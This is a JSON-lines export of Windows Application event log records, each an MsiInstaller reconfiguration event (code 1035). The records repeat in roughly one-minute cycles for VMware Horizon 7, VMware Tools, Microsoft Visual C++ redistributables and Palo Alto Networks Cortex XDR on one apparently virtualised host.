{"@timestamp":1657398310223,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170869}}
{"@timestamp":1657398310249,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170870}}
{"@timestamp":1657398310276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170871}}
{"@timestamp":1657398310311,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170872}}
{"@timestamp":1657398310339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170873}}
{"@timestamp":1657398370880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170874}}
{"@timestamp":1657398370907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170875}}
{"@timestamp":1657398370957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170876}}
{"@timestamp":1657398370995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170877}}
{"@timestamp":1657398371024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170878}}
{"@timestamp":1657398371056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170879}}
{"@timestamp":1657398371085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170880}}
{"@timestamp":1657398371118,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170881}}
{"@timestamp":1657398371155,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170882}}
{"@timestamp":1657398371184,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170883}}
{"@timestamp":1657398431487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170884}}
{"@timestamp":1657398431514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170885}}
{"@timestamp":1657398431564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170886}}
{"@timestamp":1657398431604,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170887}}
{"@timestamp":1657398431633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170888}}
{"@timestamp":1657398431663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170889}}
{"@timestamp":1657398431689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170890}}
{"@timestamp":1657398431716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170891}}
{"@timestamp":1657398431752,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170892}}
{"@timestamp":1657398431779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170893}}
{"@timestamp":1657398490781,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170894}}
{"@timestamp":1657398490807,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170895}}
{"@timestamp":1657398490857,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170896}}
{"@timestamp":1657398490897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170897}}
{"@timestamp":1657398490925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170898}}
{"@timestamp":1657398490956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170899}}
{"@timestamp":1657398490983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170900}}
{"@timestamp":1657398491010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170901}}
{"@timestamp":1657398491047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170902}}
{"@timestamp":1657398491074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170903}}
{"@timestamp":1657398550627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170904}}
{"@timestamp":1657398550653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170905}}
{"@timestamp":1657398550705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170906}}
{"@timestamp":1657398550746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170907}}
{"@timestamp":1657398550774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170908}}
{"@timestamp":1657398550806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170909}}
{"@timestamp":1657398550832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170910}}
{"@timestamp":1657398550860,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170911}}
{"@timestamp":1657398550896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170912}}
{"@timestamp":1657398550923,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170913}}
{"@timestamp":1657398610309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170914}}
{"@timestamp":1657398610337,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170915}}
{"@timestamp":1657398610387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170916}}
{"@timestamp":1657398610428,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170917}}
{"@timestamp":1657398610455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170918}}
{"@timestamp":1657398610486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170919}}
{"@timestamp":1657398610516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170920}}
{"@timestamp":1657398610542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170921}}
{"@timestamp":1657398610578,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170922}}
{"@timestamp":1657398610605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170923}}
{"@timestamp":1657398670609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170924}}
{"@timestamp":1657398670636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170925}}
{"@timestamp":1657398670685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170926}}
{"@timestamp":1657398670725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170927}}
{"@timestamp":1657398670753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170928}}
{"@timestamp":1657398670784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170929}}
{"@timestamp":1657398670810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170930}}
{"@timestamp":1657398670836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170931}}
{"@timestamp":1657398670871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170932}}
{"@timestamp":1657398670900,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170933}}
{"@timestamp":1657398730396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":170934}}
